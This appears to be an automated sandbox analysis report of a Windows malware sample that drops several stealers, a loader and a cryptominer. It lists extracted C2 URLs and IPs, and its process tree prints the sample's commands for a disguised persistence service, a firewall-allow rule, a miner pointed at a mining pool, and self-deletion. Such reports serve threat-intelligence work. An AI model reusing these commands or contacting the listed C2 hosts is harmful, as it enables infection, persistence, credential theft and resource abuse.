Overview

overview

10

Static

static

cd060042ec...5e.exe

windows7_x64

10

cd060042ec...5e.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    06/10/2021, 21:56

Sharing

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General

  • Target
    cd060042ecaa72dffde23958a244ec5e.exe
  • Size 199KB
  • Sample211006-1tbwbsbhem
  • SHA256 db544ac6e1c8b35f9ac369c8cb9d7603f21bbb59822768ccb8a2d7f8afc3a5e1
  • MD5 SHA1 SHA512
Score
10/10
raccoonredlinesmokeloadertofseevidarxmrig2ea41939378a473cbe7002fd507389778c0f10e78008d179b9e611eee525425544ee8c6d77360ab7cd9backdoordiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family

  • raccoon

Version

  • 1.8.2

Botnet

  • 2ea41939378a473cbe7002fd507389778c0f10e7

Attributes
  • url4cnc

    http://teletop.top/stevuitreen

    http://teleta.top/stevuitreen

    https://t.me/stevuitreen

rc4.plain
rc4.plain

Extracted

Family

  • redline

Botnet

  • 800

C2

  • 87.251.71.44:80

Extracted

Family

  • raccoon

Version

  • 1.8.2

Botnet

  • 8d179b9e611eee525425544ee8c6d77360ab7cd9

Attributes
  • url4cnc

    http://teletop.top/agrybirdsgamerept

    http://teleta.top/agrybirdsgamerept

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd060042ecaa72dffde23958a244ec5e.exe
    "C:\Users\Admin\AppData\Local\Temp\cd060042ecaa72dffde23958a244ec5e.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Users\Admin\AppData\Local\Temp\cd060042ecaa72dffde23958a244ec5e.exe
      "C:\Users\Admin\AppData\Local\Temp\cd060042ecaa72dffde23958a244ec5e.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:680
  • C:\Users\Admin\AppData\Local\Temp\9D44.exe
    C:\Users\Admin\AppData\Local\Temp\9D44.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1232
  • C:\Users\Admin\AppData\Local\Temp\A554.exe
    C:\Users\Admin\AppData\Local\Temp\A554.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xrqpfbru\
      2⤵
        PID:1632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vcalqlzn.exe" C:\Windows\SysWOW64\xrqpfbru\
        2⤵
          PID:3248
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xrqpfbru binPath= "C:\Windows\SysWOW64\xrqpfbru\vcalqlzn.exe /d\"C:\Users\Admin\AppData\Local\Temp\A554.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3752
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xrqpfbru "wifi internet conection"
            2⤵
              PID:3792
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xrqpfbru
              2⤵
                PID:2384
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2724
              • C:\Users\Admin\AppData\Local\Temp\B3FB.exe
                C:\Users\Admin\AppData\Local\Temp\B3FB.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1592
              • C:\Users\Admin\AppData\Local\Temp\C34E.exe
                C:\Users\Admin\AppData\Local\Temp\C34E.exe
                1⤵
                • Executes dropped EXE
                PID:2512
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2512 -s 800
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2068
              • C:\Windows\SysWOW64\xrqpfbru\vcalqlzn.exe
                C:\Windows\SysWOW64\xrqpfbru\vcalqlzn.exe /d"C:\Users\Admin\AppData\Local\Temp\A554.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3540
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1272
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4104
              • C:\Users\Admin\AppData\Local\Temp\CA34.exe
                C:\Users\Admin\AppData\Local\Temp\CA34.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:648
              • C:\Users\Admin\AppData\Local\Temp\D68A.exe
                C:\Users\Admin\AppData\Local\Temp\D68A.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                • Suspicious use of WriteProcessMemory
                PID:3892
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im D68A.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D68A.exe" & del C:\ProgramData\*.dll & exit
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4264
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /im D68A.exe /f
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4308
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /t 6
                    3⤵
                    • Delays execution with timeout.exe
                    PID:4356
              • C:\Users\Admin\AppData\Local\Temp\E773.exe
                C:\Users\Admin\AppData\Local\Temp\E773.exe
                1⤵
                • Executes dropped EXE
                PID:3812

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/648-177-0x0000000004C64000-0x0000000004C66000-memory.dmp
                    Download

                    memory/648-175-0x0000000004C63000-0x0000000004C64000-memory.dmp
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                    memory/648-163-0x0000000004C60000-0x0000000004C61000-memory.dmp
                    Download

                    memory/648-164-0x0000000002480000-0x00000000024BD000-memory.dmp
                    Download

                    memory/648-203-0x0000000006E50000-0x0000000006E51000-memory.dmp
                    Download

                    memory/648-184-0x00000000066D0000-0x00000000066D1000-memory.dmp
                    Download

                    memory/648-182-0x0000000006500000-0x0000000006501000-memory.dmp
                    Download

                    memory/648-162-0x0000000000400000-0x0000000000478000-memory.dmp
                    Download

                    memory/648-174-0x0000000004C62000-0x0000000004C63000-memory.dmp
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                    memory/648-161-0x0000000000480000-0x000000000052E000-memory.dmp
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                    memory/648-165-0x0000000004C70000-0x0000000004C71000-memory.dmp
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                    memory/648-166-0x00000000025C0000-0x00000000025FC000-memory.dmp
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                    memory/680-115-0x0000000000400000-0x0000000000409000-memory.dmp
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                    memory/764-124-0x0000000000400000-0x0000000000441000-memory.dmp
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                    memory/764-123-0x00000000001C0000-0x00000000001D3000-memory.dmp
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                    memory/1096-114-0x0000000000030000-0x0000000000039000-memory.dmp
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                    memory/1232-195-0x0000000000070000-0x0000000000071000-memory.dmp
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                    memory/1232-204-0x0000000005340000-0x0000000005946000-memory.dmp
                    Download

                    memory/1232-200-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
                    Download

                    memory/1272-154-0x0000000002590000-0x00000000025A5000-memory.dmp
                    Download

                    memory/1592-137-0x0000000005C40000-0x0000000005C41000-memory.dmp
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                    memory/1592-185-0x0000000007250000-0x0000000007251000-memory.dmp
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                    memory/1592-130-0x0000000077BB0000-0x0000000077D3E000-memory.dmp
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                    memory/1592-135-0x00000000063A0000-0x00000000063A1000-memory.dmp
                    Download

                    memory/1592-139-0x0000000005D90000-0x0000000005D91000-memory.dmp
                    Download

                    memory/1592-188-0x0000000007730000-0x0000000007731000-memory.dmp
                    Download

                    memory/1592-149-0x0000000005CE0000-0x0000000005CE1000-memory.dmp
                    Download

                    memory/1592-146-0x0000000005D80000-0x0000000005D81000-memory.dmp
                    Download

                    memory/1592-186-0x0000000007570000-0x0000000007571000-memory.dmp
                    Download

                    memory/1592-132-0x00000000009E0000-0x00000000009E1000-memory.dmp
                    Download

                    memory/1592-144-0x0000000005CA0000-0x0000000005CA1000-memory.dmp
                    Download

                    memory/2180-117-0x0000000001100000-0x0000000001115000-memory.dmp
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                    memory/2512-155-0x0000000000580000-0x00000000006CA000-memory.dmp
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                    memory/2512-157-0x0000000000400000-0x0000000000491000-memory.dmp
                    Download

                    memory/3540-160-0x0000000000400000-0x0000000000441000-memory.dmp
                    Download

                    memory/3812-181-0x0000000000400000-0x0000000000491000-memory.dmp
                    Download

                    memory/3812-180-0x00000000004A0000-0x000000000052E000-memory.dmp
                    Download

                    memory/3892-179-0x0000000000400000-0x00000000004D9000-memory.dmp
                    Download

                    memory/3892-178-0x00000000006C0000-0x0000000000796000-memory.dmp
                    Download

                    memory/4104-210-0x0000000002830000-0x0000000002921000-memory.dmp
                    Download

                    memory/4104-205-0x0000000002830000-0x0000000002921000-memory.dmp
                    Download